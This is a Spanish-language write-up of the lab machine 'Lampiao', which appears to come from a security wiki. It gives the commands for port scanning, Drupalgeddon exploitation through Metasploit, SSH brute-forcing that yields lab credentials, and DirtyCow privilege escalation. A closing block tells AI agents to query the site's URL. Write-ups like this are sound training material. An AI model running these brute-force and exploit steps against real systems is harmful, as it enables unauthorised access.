# Lampiao

<figure><img src="/files/U0XvaQOKQrabmivrx6iz" alt=""><figcaption></figcaption></figure>

### Enumeración

#### Servicios abiertos

Vamos a comenzar enumerando los puertos que tiene abiertos la máquina "Lampiao"

```
nmap -p- --open --min-rate 2000 -Pn -n -vvv 192.168.209.48
```

<figure><img src="/files/mlu56N0YfDCBmzhfbT8a" alt=""><figcaption></figcaption></figure>

Puerto 22, 80 y 1898 abiertos. Seguimos con el escaneo profundo de estos servicios.

```
nmap -p22,80,1898 -sVC -Pn -n -vvv 192.168.209.48
```

<figure><img src="/files/P97uDZcIpl8PexHmbcae" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/TQ7rN4opPJkM5zf8kW3H" alt=""><figcaption></figcaption></figure>

Servicios abiertos:

* Puerto 22 -> SSH -> OpenSSH 6.6
* Puerto 80 -> HTTP -> ?
* Puerto 1898 -> HTTP -> Apache httpd 2.4.7

También vemos que estamos ante un CMS Drupal y que existe un archivo robots.txt con 36 entradas, algunas parecen interesantes.&#x20;

#### Enumración Web

Comenzamos enumerando el contenido del puerto HTTP.

<figure><img src="/files/J5gcSHvYyQb8otUBCtFi" alt=""><figcaption></figcaption></figure>

Enumerando por el sitio Web, encontramos dos nombres de usuario: tiago y Eder.

<figure><img src="/files/BuDkebrHYgqJzLfL050R" alt=""><figcaption></figcaption></figure>

Vamos a enumerar directorio y archivos interesantes, y por otro lado, sabiendo que es un CMS, vamos a realizar un escaneo automatizado con la herramienta "droopescan".

```
feroxbuster --url http://192.168.209.48:1898                                        
```

<figure><img src="/files/c5xQLjqOdnLXRTQ8mw6K" alt=""><figcaption></figcaption></figure>

Pero no hay nada interesante que nos permita avanzar.

```
droopescan scan -u http://192.168.209.48:1898/
```

Obtenemos la versión del CMS y que ejecuta Drupal.

<figure><img src="/files/q9yTYEgv04s1CaeYrEqZ" alt=""><figcaption></figcaption></figure>

### Explotación

#### Método 1 (Drupalgeddon con Metasploit)

```
searchsploit drupal 7.5.4
```

<figure><img src="/files/8lRWUhxZcULSYBH6OjtS" alt=""><figcaption></figcaption></figure>

Vamos a la herramienta "Metasploit" y buscamos este exploit.&#x20;

<figure><img src="/files/ekpBF4W0exMo2UBrWCCx" alt=""><figcaption></figcaption></figure>

Configuramos el exploit seleccionado.

<figure><img src="/files/Dm2HSM2JMoo0KSQIHdlM" alt=""><figcaption></figcaption></figure>

Y ejecutamos. Tras unos instantes, tendremos acceso a la máquina víctima como "www-data".

<figure><img src="/files/JKcOzpglDkaxuFlwEqpG" alt=""><figcaption></figcaption></figure>

Buscamos usuarios en el sistema.

<figure><img src="/files/lqAnnYR7AHSxCGcHincy" alt=""><figcaption></figcaption></figure>

Dentro del directorio "tiago", encontramos la flag local.txt

<figure><img src="/files/vud4kQgqjAdktXeDYbjv" alt=""><figcaption></figcaption></figure>

#### Método 2 (Brute Force SSH)

En la enumeración inicial del sitio Web, encontramos el nombres de dos posibles usuarios. Al mismo tiempo, recordamos que se está ejecutando un servicio SSH en el puerto 22. Vamos a realizar un ataque de fuerza bruta para tratar de localizar la contraseña de este servicio para alguno de los dos usuarios. Otra cosa que vamos a hacer es crear una lista de palabras a partir del contenido del sitio Web que utilizaremos como lista de contraseñas.&#x20;

Para crear la lista de contraseñas, ejecutamos de la siguiente manera:

```
cewl http://192.168.209.48:1898/?q=node/1 -w passwords.txt
```

<figure><img src="/files/WAThsAB6K6NGrlrsBjPs" alt=""><figcaption></figcaption></figure>

Creamos también una lista con el nombre de los dos usuarios.

Para ejecutar el ataque de fuerza bruta, utilizaremos "medusa"

```
medusa -h 192.168.209.48 -M ssh -U users -P passwords.txt -t 40 -f 2>/dev/null
```

<figure><img src="/files/HI6VPvFnSmGm3m7pHvgf" alt=""><figcaption></figcaption></figure>

Tras un momento, obtenemos contraseña para el usuario "tiago".

<figure><img src="/files/H1Z1usVV6R9IVcdnBilL" alt=""><figcaption></figcaption></figure>

Las credenciales SSH son "tiago:Virgulino"

Ahora tratamos de iniciar sesión con estas credenciales aprovechando el servicio SSH.

<figure><img src="/files/VCYHG96JWh3Mjv0ahuLL" alt=""><figcaption></figcaption></figure>

Volvemos a buscar la flag local.txt

<figure><img src="/files/K39iQkoOSRbKnuSZxqHI" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios

Una vez tenemos acceso a la máquina víctima, el siguiente paso será la elevación de privilegios. Comenzamos enumerando que binarios puede ejecutar el usuario "tiago" como "root" sin contraseña.

```
sudo -l
```

<figure><img src="/files/2wqvCZJTdlI35drkEIMh" alt=""><figcaption></figcaption></figure>

"tiago" no puede ejecutar "sudo". Enumeramos archivos con permiso SUID. Pero no hay nada interesante. Vamos a enumerar la versión de Linux y kernel que se están ejecutando en el sistema.&#x20;

```
cat /etc/*release
```

<figure><img src="/files/JWMB4I6M3OIKBit2qnhC" alt=""><figcaption></figcaption></figure>

Cargamos en la máquina víctima el script "[Linux Exploit Suggester](https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh)". Lo vamos a cargar utilizando la función "scp" para enviar el archivo a través de SSH.

```
scp les.sh tiago@192.168.209.48:/home/tiago
```

<figure><img src="/files/fhJV3mpTPJjDt6LxKWbS" alt=""><figcaption></figcaption></figure>

Si consultamos el directorio del archivo "tiago" ya podemos ver el script. Damos permisos de ejecución, y ejecutamos el script.

<figure><img src="/files/RS1xjbX6WugMczuGPxec" alt=""><figcaption></figcaption></figure>

```
chmod +x les.sh
./les.sh
```

<figure><img src="/files/H1pP0ESKryRPE0zgD9Q4" alt=""><figcaption></figcaption></figure>

La máquina objetivo es vulnerable a "DirtyCow". Vamos a probar [este](https://www.exploit-db.com/exploits/40847). Descargamos en nuestra máquina. Una vez completada la descarga, enviamos el exploit al objetivo haciendo uso de nuevo de la función "scp" para enviar el archivo a través de SSH.&#x20;

```
scp 40847.cpp tiago@192.168.209.48:/home/tiago
```

<figure><img src="/files/8DanTJJ0wXpnJWnmMUcg" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/i2hhGUDJrxD83Z4nQ5Bi" alt=""><figcaption></figcaption></figure>

Compilamos el archivo.

```
chmod +x 40847.cpp
g++ -Wall -pedantic -02 -std=c+11 -pthread -o dcow 40847.cpp -lutil
```

<figure><img src="/files/meDumH8QcNyJ8pkheUAu" alt=""><figcaption></figcaption></figure>

Ejecutamos el exploit generado.

```
./dcow -s
```

<figure><img src="/files/xxza5eyWIgdI7FtQVBit" alt=""><figcaption></figcaption></figure>

Ya tenemos acceso a la máquina objetivo con permisos máximos. Vamos a por la flag proof.txt

<figure><img src="/files/ihjYqIrd9IeYfeFiQOS4" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.youtube.com/watch?v=dznALOclBk4>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/lampiao.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
